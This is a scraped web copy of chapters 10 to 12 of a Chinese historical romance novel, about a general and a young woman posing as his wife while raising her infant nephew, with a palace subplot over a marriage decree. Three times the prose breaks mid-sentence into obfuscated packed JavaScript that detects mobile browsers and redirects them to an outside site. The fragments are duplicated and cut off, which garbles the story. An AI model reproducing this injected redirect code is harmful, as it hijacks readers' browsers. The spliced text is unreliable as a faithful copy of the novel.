可待她一手抱着孩子,一手端着药碗刚想上前。赵留行又冷不丁来了一句,让人摸不着头脑的话,“对了,你待会儿去的时候告诉长夏,往后每月给乳娘多加一两银子。” 柳善因茫然望向铺上那个有些怅然的背影,小心试探了句:“好,我知道了。我待会儿就去,但赵赵将军……” “你真的没事吧?” 10. 第 10 章 晚些时候,夜色沉沉。 赵留行似是被小家伙那一下嘬得郁郁,柳善因回来瞧见他躺在床上浑身散发幽怨,吓得也不敢弄出动静,只得蹑手蹑脚地贴边走。 等把睡着的小侄子放上坐榻,她便转头默默整理起地上的铺。 按照昨日说好的,今儿该她睡地上了。 柳善因跪在地上轻轻拍了拍枕头,刚想脱鞋进被,又忽而向屋子那边望了一眼…… 身后窸窸窣窣的声音响个不停,拉回了赵留行惆怅的思绪。 他思量着屋里总不能是闹耗子,便好奇地回了头。没成想正好瞧见柳善因像只急着搬家的鼹鼠般,一点点将地上的铺盖从东边拖往西头。 柳善因发现赵留行在看她,立刻乖乖停在原地。 赵留行顺势披着毯子起了身,他把该遮的地方全部遮住,如同一座大佛盘腿稳坐当中。 他问来人:“你在作甚?” 柳善因看了看手中的铺盖,又看了看他,如是说:“我想把床铺离你近些。” “离我近些?为什么?” 赵留行不明白, 难不成她也怕鬼,怕一个人睡? 柳善因却趁机悄悄来到他跟前,将铺盖放下诚恳道:“我怕赵赵将军晚上需要人照顾,我睡太远听不见,所以就想离得近一点。这样赵赵将军晚上想喝水,亦或是想挠痒,想上茅房都可以叫我。” 赵留行闻声无言。 他抿嘴看着柳善因,心想自己是让人家来假装自己媳妇的,怎么扮着扮着又变成使唤丫头了。 不得行,不得行。 赵留行赶忙动身,却被柳善因拦下,“赵赵将军你别动,你想做什么让我来就好。” “我这都是些小伤,何须麻烦你,我自己能行。今晚就还是我睡地上,你带着孩子回床上睡去。”赵留行原是要和她交换铺位,柳善因婉拒,“不行,咱们昨儿就说好了,就算你没有受伤,今日也该我睡地上。” “不成。” 赵留行心有不安,俯身就要争抢。 好在柳善因急中生智,一个飞扑趴在了铺上。 等赵留行反应过来,眼前人已像一张大饼摊在了眼前,他是前看看后瞧瞧,压根没有能下手的地方,他总不能把人亲手抱去床上,那样和比让柳善因睡在地上还要过分,便只好作罢。 “你赢了,你赢了。” 赵留行无奈登床,又变回了不动如山的佛。 他望着赖在地上的柳善因,忽而垂眸说:“但咱们说好,往后还是叫我睡地上。既然你阿兄相托,那我就有义务照顾你。更何况,你又帮了我这么大一个忙。” 柳善因见事态平息,缓缓从铺上爬起转眸跪坐床边。她抬头望去,于两人的四目相对间沉声说道:“可赵赵将军也收留了我们,还因为我受了伤……” 赵留行愣而无言。 恍惚一瞬,他还真有点心疼眼前这个只比自己小两岁的女郎。 赵留行移开目光,声音缓和下来,“这事是我和他们之间的恩怨,与你没有干系。明明是你在帮我,你不要把什么罪责都揽在自己身上。” 可善良的人总是最先自责,柳善因习惯了这样生活。 但她还是点点头,乖巧地应声说:“我知道了。” 月光伴着晚风的凉吹进轩窗,飘然落去窗台上。柳善因安静跪坐,耳边碎发抚摸过她圆润的脸颊。赵留行不自觉又看向了她,他唤:“小柳。” 柳善因嗯了一声,眸子里的光依旧纯粹无暇。 赵留行这才继而说:“我不知道你以前是怎样,但以后在我这儿就别拘着,也别总是道歉了。轻松自在些,有什么话,直说无妨。你就把我当做你阿兄——” 赵留行语毕一拍脑袋,恨透了自己嘴比脑子快的性子。 怎么让人家假扮过自己媳妇,现在还要当人家阿兄?这般冒昧,真是笨死了。赵留行连忙解释:“小柳,我没别的意思,我只是…哎呀……你千万别恼!我不是故意提……” 没成想,柳善因并未介怀,反倒笑望赵留行道是:“这辈子还是第一次有人跟我说这些话。” “谢谢你,赵赵将军。” 柳善因温柔的道谢声落了地,赵留行却呆愣着不知该如何接茬。只见他这座大佛顺势如山倒,背过身用被子蒙上了他的尴尬,“时辰不早,睡吧。” 柳善因歪过头,不明所以。 可既然眼前人发了话,她便转身抱起小侄子钻进了被窝。只是等柳善因靠着小侄子的脑袋刚有了睡意,就又被赵留行的声音吵醒,“夜里不熄灯吗?” 柳善因迷迷糊糊睁开眼,昏暗的烛火在眼眶里跳动,她说:“夜里小宝需要喂奶,我怕磕到撞到特意留了一盏。赵赵将军若是觉得晃眼,我这就熄了去。” 柳善因说罢抬手掀被,赵留行却阻止了她,“那留着吧。” “好。”柳善因闻言默默将腿收回被窝,跟着蹬了一下,以免有风钻进去。 她想这回总该无事打扰,就安心地把眼合了。 怎料,赵留行在床上转了个身朝向柳善因,瞧着他今日是睡足了,竟折腾起她来,“你何不将孩子放在乳娘那?如此你也不必辛苦来回。你若觉得麻烦乳娘过意不去,我继续加些工钱让你买个安心。” 赵留行没当过爹,自然体会不到,也理解不了为人父母的心酸苦楚。 柳善因闭眼想起那天土酥说过的话,将军出手阔绰就好像有钱没地花,惹得她笑出声来。 “你笑什么?”赵留行掀开床帐出言去问。 柳善因赶忙把圆滚滚的脑袋埋进被窝,小声应道:“没,我没笑什么。” 赵留行纳了闷,柳善因转而把话题岔开,“赵赵将军不用破费。小宝也不知怎的,只要同我一分开就会哭闹,所以就只能这么来回跑着。不过赵赵将军不用担心,我没事的。” 赵留行放下帘帐没说话。 过了半晌,他才开口道:“明日叫长夏把西南边的书房收拾出来,给乳娘住吧。” “合适吗?赵赵将军不用书房的吗?”柳善因觉得有些闷热,把手从被子里拿了出来。赵留行透过床帐往外望,女郎的小脸红扑扑的,“不用,我过了读书的年纪了。” 柳善因点点头,“那好,我记下了。” 赵留行就此陷入沉默。 按说今晚的秉烛夜聊合该在此时收场,可那被赵留行弄得睡意全无的柳善因又突然开了口:“赵赵将军。” 赵留行没吭声, 柳善因偏过头想他应是不能这么快睡着。 “我可以问你一个问题吗?” 床边人发问,赵留行闭眼嗯了一声。 柳善因重新回头望向屋顶,“你为什么不愿和郡主成亲呢?” 她问这些话的时候,没有想太多。 柳善因只单纯的觉得像郡主这样样样出挑的女郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105988|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应是许多有为之人想要求娶的对象。若是在兰花村,像他们这样优秀处处散发光芒的人,是没有人不喜欢,更没有理由拒绝的。 可赵留行的答案却出乎了柳善因的意料,他直言不讳道:“不愿就是不愿,还能有为什么?” 柳善因默而不语,她甚至有些不解。但她并没觉得赵留行是错的,只不过她从没听过有人这样回答,所以一时间有些难以消化也是应当。 两个人的观念再次碰撞,却都默契地选择尊重对方。 赵留行睁开双目,看着女郎默不作声沉声道解释:“我没说郡主不好,我也没有资格评论人家好或不好,但不合适,就是不合适。我不喜欢她,她应该也不喜欢我。如此的两个人,如何能成为夫妻?况且,我不可能向那边低头。我还有更重要的事,必须回到北庭去。” 赵留行清楚的明白,一旦妥协了呈王府的婚事,那将是如何被困住的一辈子。 他好不容易才逃了出来,他不可能再回头。 柳善因虽然不知赵留行口中说的重要的事是什么,但她在听了他的话后,决定好好帮他演完这出戏。她不止为了自己,亦是为了报答赵留行雪中送炭的恩情。 “赵赵将军,是骁勇无畏的大将军,将军就一定能回到北庭去!”柳善因说得起劲,伸出肉乎乎的拳头在空中比划了两下,叫赵留行看见咧嘴笑了笑。 他没想到这柳家妹妹,平日里看上去文文静静,活泼起来倒也挺活泼的…… 两个人尴尬地对视,纷纷转头不语。 最终,还是柳善因开口打破了僵局:“赵赵将军,若是没事的话,我就先睡了。” 赵留行思量半晌,被帐外的烛火照亮了眼,他回问了她最后一个问题,“小柳,你为什么一直叫我赵赵将军?” 柳善因眼皮在一点点下沉,她歪扭在小侄子身旁昏昏沉沉地应声:“因为…阿兄自小就有口吃的毛病,他常和我提起你。久而久之,你就成了赵赵将军……” 话音落去,柳善因进入梦乡。 赵留行却如梦初醒,难怪难怪!柳徽平日里沉默寡言,一张口总是一声…… 赵,赵将军。 - 次日,柳善因起了个大早,她想着今日赵留行应是要在家休养,为了不打扰他休息,就抱着小侄子去了前院同长夏和乳娘聊天。柳善因约莫赵留行怎么不得睡到下午去? 没想到,巳时一刻人就醒了。 赵留行在寝屋忙忙碌碌穿好衣裳,转头出门寻寻觅觅。 他先是到别屋看了看,发现柳善因不在便一路去了后院,哪知道碰上土酥一大早偷吃羊蹄,给人吓得嗝打不停。他话没问出来,只得悻悻往前院去。 赵留行来到跟前时,三个女人正叽叽喳喳,说天说地。 谁知一瞧见他出现竟纷纷噤声,不言也不语。 他蹙眉迟疑。 柳善因背对着他所以没察觉,长夏赶忙张口道了句:“三郎君。” 柳善因仰起头,瞧见赵留行跟个门神般立在后头,吓得往后栽了栽。赵留行作为她的“夫君”岂能当着旁人的面坐视不理?瞧他抬手一把就将人扶起,叫长夏看去偷笑不已。 柳善因见状不好意思地站了身,“赵赵将军,你怎么起来了?你身上的伤还没好,应该好好休息的。” 赵留行闻言却没理柳善因,他只抬眸望去其余两人,沉声问了句:“洛阳最好的成衣铺在哪?” 11. 第 11 章 长夏是个机灵的。 她一听便知赵留行此话何意,赶忙道出了洛阳城东仁和坊的韵景衣铺。那家在洛阳有名的很,长夏虽没去过,但在护军府时总听那的人说。 赵留行得到答案,转头叫了柳善因,“走了小柳。” 柳善因啊了一声,还傻傻的不知赵留行此番何意。 长夏很快搭了腔,“三郎君体贴。夫人今日就跟着郎君一块到城里逛逛,多选几身漂亮衣裳,家中的事无需二位挂心。二位出门需要备车吗?需要的话,我现在就去赁辆马车来。” 长夏挪挪步子,预备着主家开口,自己好抬腿就往门外冲。 谁成想,赵留行说:“不必。” 柳善因也跟着附和。 惹得长夏几度欲言又止,最后只得作罢。 这边说好,柳善因追着赵留行懵头懵脑地往外去,只是还没出一道门,赵留行就给调了回来。长夏在旁刚想和乳娘嘀咕些什么,就用余光瞥见主家返回,急忙收了那即将说出口的话。 她微笑着去问:“三郎君怎么回来了?” 赵留行没搭理长夏,而是朝着乳娘生硬道:“忘带他了。” 瞧着昨晚上柳善因的话,他是听进去了。 叫姑侄两个分开,小家伙大抵是能哭闹到他们回来,到时候还不哭出毛病?倒不如带着去。 “哦哦,好。小郎君乖,跟着爹娘上街去喽!”乳娘站起身,把孩子交给了赵留行。 赵留行还像第一日那样,端着孩子转身就走,独留下乳娘和长夏二人立在院中面面相觑…… “主家平日就是这么抱孩子的?” “他俩到底知不知道城东有多远呐——” - 城东有多远?远到坐马车还需两刻多钟才能抵。 可赵留行和柳善因是谁? 一个常年行军百里毫不费力的将军,一个从兰花村徒步入京意志坚定的孤女。这二人走起路来,别说是城东,就是从这儿走到长安也行。 但瞧一路爹端着娃,娘追着爹,一家三口吭哧吭哧半句废话没有径直往城东去。 只是到了那足足有三层楼高的成衣铺前,柳善因却死死扯住了赵留行的衣衫。 赵留行回过头,一双明亮的眼眸正将他相望。 他听身后人说:“赵赵将军…别为了我这么破费,我到估衣行寻上几身衣裳就行。” 赵留行哪管那些,他如何也不会叫柳善因穿那些有钱人家不要的旧衣裳。 若不然他今朝还出来作甚? 爹娘两个僵持在门外,一路上没吭半声的小家伙,忽在赵留行开口前哼唧起来。 柳善因再顾不上阻拦赵留行,抬手去接了他怀里的娃。 哪知,两人堪堪交换手,赵留行竟趁势头也不回的朝铺内走去。柳善因抱着小侄子瞠目往里望,心道这人怎么就进去了!? 赵留行却已是在众人的注视下,同她招手说:“小柳,愣着作甚。过来——”未曾给她留半分反悔的余地。 - 柳善因长这么大,还是头一遭进到这么富贵的店铺。 她压根不敢抬头张望,因为里头的人个个梳着时兴的头发,穿着好看的衣裳。 柳善因觉得同他们格格不入,距离也就越拉越开。 就好似兰花村与洛阳的距离一样…… 小家伙来到这新鲜地方,勾着脑袋看来看去,最后还是将眼睛盯到了赵留行身上。 赵留行没察觉,他只顾着看抱他的人了。 柳善因站在门内靠右一些的位置,被络绎不绝的客潮遮挡,叫那眉高眼低的男伙计瞧见,张口就是一句势利的:“诶诶诶,你个丫头别挡在那,没瞧见这么多贵客往来吗?没个眼色,谁家的这是!” 伙计说罢抬眼在屋里扫视个遍,那身着五品常服的官人瞬间吸引了他的注意。 伙计赶忙殷勤上了前。 柳善因这边被人言语,打算灰溜溜地走开,却被个笑容灿烂如花的小女郎拦下。 她亦是这铺子的伙计,但说出的话却极其温柔妥帖,“您是来看衣裳的吗?店里出了好些新样子,要不要我给您拿来瞧瞧?” 小女郎微微笑,既然开门做生意,便是不论亲疏贵贱,皆是来客。 柳善因抬起头,好似被春光晃了眼。 彼之,势利的伙计站在赵留行身旁依旧滔滔不绝,并未察觉有什么异样。 他逢迎:“我打远一瞧官人就是风姿卓越,与众不同。不知您今日来这儿是想给您自己挑选衣裳,还是要给夫人挑选?” 赵留行有眼有心,他把一切都看在眼里不慌不忙地应道:“给夫人。” 伙计听眼前的贵人这么说,私以为今日是撞了运,忙奉承起:“哎呀,官人真是数一数二的好郎君,不知尊夫人在哪?您且把尊夫人一块叫来,小的今日定让二位满意而归。” 说话间,伙计举目将那些个锦衣华钗的妇人瞧了个遍,也没分辨出是哪个来。可他想了千遍万遍都没想到,身边人居然在他话音落后举目看向了门的那边…… “你不是问那边那个没眼色是谁家的——我家的。” 赵留行的声音重重砸在地上,惊得伙计一身冷汗。他哪能想到,他俩会是一家人! 赵留行先是骂了声:“狗眼看人的东西。”转而在瞥了眼身边人后,又厉声道,“最后给你个机会,去给她鞠躬道歉,不若我就找你家掌柜好好聊聊。” 赵留行跟柳善因不一样,她凡事都能忍让三分,推己及人。 可他却是有仇必报,有恩必还。 伙计在铺子日日曲意逢迎,拜高踩低的惹人厌。今朝碰上赵留行翻了船,也不算无辜。 一个道歉而已,倒是轻饶了他。 伙计看了赵留行一眼,大抵是知晓没有丝毫转圜,便硬着头皮走了过去。 柳善因瞧见来人,有些茫然不知措。 她怕眼前人再次恶语相向,紧紧抱着小侄子提防不语。若是…若是他再敢欺负自己,她必是不会放过他……怎料,伙计直接冲她鞠了一躬,“是小的有眼不识泰山,若有哪里对不住的,还请夫人宽恕。” 伙计没按想象的来,弄得柳善因措手不及,小女郎更是在旁目瞪口呆。等他抬头对上二人怪异目光,瞬间羞愤起身往库房躲去。 此间事了。 赵留行偏装作若无其事地行来,等对面的柳善因起了疑,“赵赵将军,那个人……” 他还假意说:“哪个?没看见。” “好吧,没什么…”也就柳善因傻傻信了他,瞧她默默将手和疑惑一并收了下。 赵留行没再多言,随之看向那端的小女郎阔气道:“去把店里适合夫人的都拿来吧,叫夫人好好挑挑。” 小女郎回过神,丝毫不敢怠慢忙说:“诶,诶好嘞。二位稍等,我这就去。” - 后来,娘在更衣前与爹谨慎做了交接。 “赵赵将军,你一个人真的可以吗……”柳善因忧心忡忡。 赵留行自以为连仗都能打赢,还能摆不平个半岁大的娃娃?不就是带孩子,岂能难得倒他? 笑话! 他便自信应道:“安心换你的,莫要操心。” “那我麻利些,赵赵将军你坚持坚持,我很快就好。”柳善因心下惶恐,匆忙转身离去。 殊不知,是赵留行低估了娃娃,还是高估了自己。 小家伙睁眼一看小姑不在身边,顿时从哼唧,变为嚎啕。本还端着孩子悠悠转转的赵留行,此刻呆滞在原地,一动也不敢动弹。 周遭人的目光,也因此向他投递。 孩子哭是为着什么?是屙了?是饿了?还是难受了?赵留行思来想去,难解其意。这大抵是他此生遇到过最窘迫,最棘手的境地。 赵留行脑海中忽而闪过那些妇人安抚稚子的办法,急忙有样学样地摇晃起小家伙来。 可兴许是他的力气太大,又或是方法不对,非但没能止住小家伙的啼哭声,反倒让他哭的更猛烈了些。 将军常胜了那么多年,头一遭有了挫败的感觉。 他的自信,也随之瓦解。 赵留行下意识举目往柳善因换衣的隔间望,想要瞧瞧柳善因何时能好。以解救他这倒霉的“孩子爹”。 不料,却被旁边热心的妇人误会,开口便道了句让他下不来台的话,“啊呀呀,看把娃娃闹的。我们乖乖是不是看不见阿娘着急了?好喽不哭不哭。我说孩子爹,娃娃这么哭也不是办法,你不成就抱着娃娃进去找他娘去——都是夫妻,哪妨事的!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105989|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 哪妨事的?男女大防,男女大防! 赵留行在心下回怼,此起彼伏的议论声却叫他无处躲藏。 “瞧瞧,男人带孩子就是不中用。” “是也是也,我家那口子与他一般摸样,又不少胳膊缺腿的,怎能笨成那样。” 赵留行陷入两难。 他眼下只有两个选择,一是不知廉耻地走进隔间,二是厚着脸皮冲出店外,然后被更多人注视。赵留行觉得大概以小家伙现在这副哭相,让不知情的路人瞧见,必是将他当做暗地勾当的人牙子,给扭送到京兆府去…… 所以很显然,做柳善因一人的登徒子,要比做街上人人喊打的人牙子好太多。 他便举起小家伙,将目光藏在他肉乎乎的背后,抬腿躲了进去。 他边走边道柳徽莫怪, 事出有因,大不了清明多给烧些纸钱—— 他若有半点非分之想,天打五雷轰! 突如其来闯进的人叫柳善因和小女郎吓了一大跳,直到瞧见小侄子那张小脸,柳善因才搞清楚原是自家人。小家伙说来奇怪,他当真一见小姑就瞬间止了声。 “好小子,真不哭了?” 赵留行不可思议地抬起头,瞧着是气得牙痒痒,一时间竟给忘记了要非礼勿视! 此刻,柳善因香肩半露,还好被纱裙遮住了胸口,才不至于太过尴尬。她望向赵留行的眼神中,尽是委屈与迷惘。她侧在小女郎后面,怯生生地追问:“赵赵将军,你怎么进来了?” 可莫说柳善因不好意思,赵留行更是比她还要羞涩。 “我,我,我那个…孩子他,他,他那个……”赵留行登时大惊,连话也说不利索。他在柳善因面前左右踱步,最后寻了角落里的软凳坐着面壁思过。 可一背对着柳善因,他的尴尬化解了,小家伙又不愿意了。 赵留行没办法,只得抱着小家伙又转了回来。 瞧他转身后一直垂眸盯着地面,半分也不敢抬眼,他道:“孩子在外面直哭,我没办法只能进来。没跟你说一声,你别,别介意。” 赵留行说话时,脖子肉眼可见的红了。 柳善因应声后,小脸亦是红扑扑的,她答:“好吧,没事。” 两个人羞羞臊臊。 小女郎哪知其中原由,她在旁看着这对小夫妻双双红脸,还暗戳戳地想:自己日日阅人无数,这生了孩子,还能瞧着对方脸红心动的真是头一次见。实在让人艳羡啊。 既然都是一家人,小女郎也就没把赵留行往外赶。 她转头继续为柳善因换起新衣,柳善因虽是有些难为情,但看着赵留行没有半分逾矩,也就忐忑着将衣裳换了。且瞧下一刻轻盈的绸缎坠了地,一位宛若春柳窈窕的女郎,便盈盈落了人间。 小女郎望着柳善因圆溜溜的眼睛也不免惊叹,她想难怪那郎君能对眼前人如此动心,若是她必是也得对这样的娘子心生怜爱,“夫人,您真好看。简直就是玉兔下凡!” 柳善因第一次得到这样的称赞,却垂头揣着袖子,有些不好意思。 小女郎会心一笑,赶忙推着柳善因往赵留行面前送去,她说:“郎君快瞧,咱们的娘子好不好看?” 柳善因从前布衣荆钗,就好似明珠蒙尘,是庸碌的生活掩盖了她的绚烂。可她并非是他们口中的平平无奇,相反她应是个语笑嫣然,玲珑温软的女郎。 欧碧色的交领衫裙,拉长了她的腰身。汴绣的燕子图样,点亮了她的脸庞。 赵留行缓过神举目相望,居然足足愣了半晌,才磕磕巴巴道出一句实诚的:“好,好看。” - 与此同时的另一边,在宫里的柳明斋。 年轻的帝王正饶有兴致地靠窗向院中投喂鸟食,窗边垂落的娇媚花枝,也遮挡不住他那细长的眉眼。他那狐君的称号由来已久,可似乎并不止是因为贺鹮归的样貌而已。 那夺食的鸟儿叽喳个不停,贺鹮归却直视其中冷眼相对。 等前来通禀的内常侍打帘进门,与他说了句:“禀主上临芳长公主来了,您可要见见?” 贺鹮归才冷笑着将目光从鸟群中移开。他拍了拍掌心,瞥向一旁的内常侍,“带着目的来的,朕说不见她就能善罢甘休?叫二姐去前头候着,朕喝盏茶再去。” 12. 第 12 章 一盏茶的时间能有多久?贺鹮归喝了整整三刻钟。 贺盈安坐在先帝为先皇后大兴土木修建的斋阁里,垂眸不语。 天家的姐弟倒是一个比一个沉得住气。 先皇后喜好清雅,贺盈安每每来这儿面圣,都得花些心思从她那为数不多素色的衣裳里挑选一件换上。只是她指尖那鲜艳无比的蔻丹,又草草将她出卖。 贺盈安不在乎。 君君臣臣,一切不过是给皇帝演得戏,她亦知晓那九五之尊的皇帝从头至尾就没看得起自己。 可人和人之间不就是这样? 就算她讳莫如深,他心知肚明,最终还是要体面的站在一起。 贺盈安就这样孤坐了很久都没有抬头,此间的好春光都与她无关,她似乎对这座斋阁充满敌意。 “抱歉抱歉,叫二姐好等。” 等那个听上去温厚的,实则藏着些许戾意的声音落进耳畔。贺盈安终于肯抬了头,她顺势起身朝来人言语,“主上政事繁忙,我等会儿也是应当。” 贺鹮归轻笑着路过贺盈安身旁。 今日斋中点了鹅梨香,青烟透过荷花绣屏袅袅远去,偌大的柳明斋里,清清静静。 贺鹮归抚袍坐去当中,开口便说:“又是为那事来的?” 不是第一次了, 三月前他这心思重的二姐就来过一趟了。 贺鹮归撑着脑袋将贺盈安打量,细长的指尖一遍遍打在鬓边上。他瞧见了贺盈安的指甲,随之冷笑。 贺盈安说:“是。” 贺鹮归却带着戏谑的口吻回问:“二姐就这么想让松月嫁进赵家?嫁给赵卿?朕真是不知赵家到底有什么东西,值得你这般执着努力?还是说……” 他故意欲言又止,眼神中的玩味从始至终都没收敛过,“二姐对过去的事依旧耿耿于怀,想赢了侯府那位去?” 此话一出,贺盈安抬眼盯上了皇帝,瞧着贺鹮归还真是戳中了她的痛处。 但贺盈安并不会因此表现出失态,她应声时表情没有丝毫变换。 “主上说笑,前尘旧怨早已如烟散去,何故再提?” “不过是两家情谊深厚不忍断绝,想要延续以承佳话。而今又适逢松月与三郎,一个当嫁,一个当娶,便也该由着父母之命,媒妁之言,把这终身定下。只是此番若是再能求得圣恩,此段姻缘必是恩爱百年。” 贺盈安平日不言不语,关键时候场面话还是讲得头头是道。 可狐君并非是几句漂亮话就能糊弄的。 贺盈安有她的私心,贺鹮归也有他拒绝的理由。座上身穿锦袍的帝王哦了一声,叫贺盈安不由垂了眸。贺鹮归紧接着道是:“朕算是听明白了。二姐大抵是没办法了,才把主意又打到朕这儿了。” 贺盈安无言相立。 她还是跟以前一样讨厌中宫,讨厌中宫生的儿子! 贺鹮归在贺盈安的无言里收起支撑脑袋的手掌,转眸望向晴好的院落。彼之,他眼中天地苍翠,他就那样不屑地说:“可赵家那姑侄俩,不是早被你们赶出赵家了吗?” 贺鹮归专挑扎人心窝的话说,贺盈安显然有些恼了。 她猜不透眼前人百般推阻,究竟为何?按理说就是个赐婚的旨意,既然长公主亲自来求,皇帝就是再看不上她,也该给贺氏和呈王府一个面子,而不是像现在这样说风凉话。 可贺鹮归并未收敛,他张口周旋:“即已被逐出家门,那二姐觉得再论什么父母命,媒妁言……是不是有些荒唐?当年那事闹得沸沸扬扬,就算朕与二姐是一条心,也得好好斟酌斟酌。” “毕竟人家姑侄俩戍边多年,于朕于朝廷皆有功可言。朕不可独断行事,伤了臣心。” “这话二姐上回来,朕便已说过。” “可倘若二姐实在满意这门婚事,诚心请旨,朕就给你指条明路,你不若就叫北庭那边与朕修书。只要北庭那边应了,朕保证即刻就为他们拟旨赐婚,叫他们恩爱百年。” 话音落去,赵留行的婚事就像是颗来去的马球般,从洛阳又打向了北庭。 贺鹮归是故意这么说的。 贺盈安却对他的态度颇为不满,她竟忘了德行,沉沉唤了声:“皇帝!” “二姐——” 贺鹮归回望贺盈安眯眼轻笑,“我可听说赵卿那边已是有人抱着孩子找上门了。二姐有功夫在朕这儿浪费时间,倒不如想想怎么让北庭,亦或是赵卿本人应了这门亲事。” “二姐觉得朕说的可对?” 贺盈安不甘地站在原地,最后一次追问:“皇帝的意思,这旨皇帝就是不想下了?” “朕何时这般说了?你可莫要妄加揣度圣意。” 贺鹮归漫不经心。 姐弟两个四目相对,较起了劲。贺鹮归自觉该说的都说了,随即拂袖一挥,示意内常侍送客。 “无事退了吧。” 眼前人既已开口送客,贺盈安还赖着作甚? 瞧她敷衍躬身,转头掠过内常侍径直走出了柳明斋。贺鹮归则望着廊外那愤然离去的背影,霎时变了模样,眼神冷得如同冬日寒冰,看不出一丝温情。 内常侍是先皇后身边的老人,也是看着贺鹮归长大的阿翁。 他回眸走来贺鹮归身边,开口说着旁人不敢说的话,“既然主上不愿赐婚,当初又何必要同意赵家上书,大费周章地将宁远将军从北庭调回来?您不是不知晓赵家的用意?难道说……” “您还在等那位回头?” 贺鹮归阴晴难定,他虽对母亲留下的老人一向宽容,但一听内常侍提及某人却瞬间变得不悦,“段翁,你逾矩了。再有一次,你就留在柳明斋,不必再去御前呆着了。” “是老臣失言了。” 内常侍处变不惊,闻言不过叹了口气。他道这么多年,那人竟依旧是皇帝心里连提也不能提的禁忌。可若不是等着念着,你说…他又何必这样…… - 柳明斋外,贺盈安吃瘪之后怒火中烧。 她端着身子站在宫道上,行路的宫人纷纷冲她行礼。侍奉贺盈安多年的老嬷匆匆忙去到她身旁,她从她细微的表情上读出今日与皇帝争论的结果,继而开口说:“殿下,咱就这么回家去?” 老嬷最会揣度贺盈安的心思,贺盈安果然没有要就此罢休的意思。只见她盯着层层叠叠的王庭,想起了一个人,“不回,改道去恩庆殿找赵淑妃。” - 柳善因与赵留行满载而归地从成衣铺离开时,日哺将近。 这回换她抱着娃娃行在前头,赵留行则拎着一大堆东西跟在后头。远远望去,这才刚认识不久的一家三口,就这么悠悠闲闲迎着午后的光慢慢走。 柳善因回想起成衣铺里,赵留行买这买那好似不要钱的模样,忍不住回头望。 她说赵赵将军:“其实只要买上两身衣裳,就够我穿上好几年的。你今日给我买了这么多,实在太破费了,我都不知该怎么还你。” “还?为什么要还?” 赵留行惑然望向柳善因,他今日花钱的时候,压根就没想过什么还不还。 不过说赵留行视银子如粪土,一点不夸张。 适才在铺子里,别人往柳善因身上比划什么,他就给买什么。若不是最后柳善因强硬拦着,赵留行是恨不得将铺子给买下来。 可柳善因虽然穷,却有自己的骨气。 她自知与赵留行非亲非故,就算是夫妻也是假扮的,怎能白白占人家便宜,没有道理呀!柳善因便说:“虽然我真的很感谢你,但赵赵将军该还的,还是要还的。” “真不用你还,几件衣服而已啊。”赵留行也是执拗,她不明白女郎的心绪便罢,还呆板地应答。惹得柳善因第一次在赵留行面前倔强道,“哎呀,就是要还的!” 柳善因说罢抱着小侄子急呼呼地往前, 而那从没跟女郎相处过,也不知该如何跟女郎相处的赵留行却茫然愣在原地。 他不解……这是怎么了? 柳善因方行出几步就后了悔,她想赵赵将军对自己这么好,自己怎么这样跟他说话呢? 真是笨死了。 但小女郎脸皮薄,柳善因是踟蹰了半晌也没敢回头望。 忽而,一股勾人的香味飘进鼻腔,勾得柳善因不由自主地抬头望,就这么望着望着,她竟一步一步挪去了街边的卤肉摊旁,全然把赵留行抛在了脑后。 柳善因垂头望着灶台上新鲜出锅的卤肉,被升腾的雾气遮住了眼里的欲望。 她吸溜一声,差点没把口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110220|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水滴在小侄子头上。 这时间,赵留行缓缓走来并肩站在柳善因身旁,他这会儿倒是瞧出了女郎发馋的模样,赶忙没话找话道:“想吃吗?带些回家,再让厨房做些汤饼。” 赵留行说话时,偷摸着往柳善因那边瞟。他这辈子还从未像现在这样小心过。 怎料,柳善因却猛地抓上了他的手臂,吓了他一跳。 赵留行无言站着。 没想到小家伙竟也有样学样,伸出肉乎乎的小手轻轻扒住了赵留行的臂膀。突然被两双眼睛这么盯着,换谁都会紧张,赵留行在柳善因的注视里不敢乱动。 柳善因却怀着万般诚恳的心,点头小声道:“想吃。” 想吃就吃,何故这么大阵仗!? 赵留行松了口,僵硬的身体也渐渐舒缓。他才刚想跟老板言语,就又被柳善因拦下,他听眼前人说:“赵赵将军少称二两,我以后一并还你——” 赵留行闻言冷笑着甩开了柳善因的手掌,少称二两是吧? 瞧好吧。 赵留行挑眉朝卤肉上狠狠一指,老板便心领神会地一刀拿下,紧跟着分切打包,称重交钱一气呵成,愣是让柳善因来不及反驳说不要这么多。 而后,老板眯眼送客,赵留行礼貌回笑。 唯独柳善因拎着一大袋子看起来能吃三天的卤肉,茫茫然于懊悔和嘴馋里来回颠倒。 不是让少切二两吗! 这越欠越多,真是……真是还不清了—— - 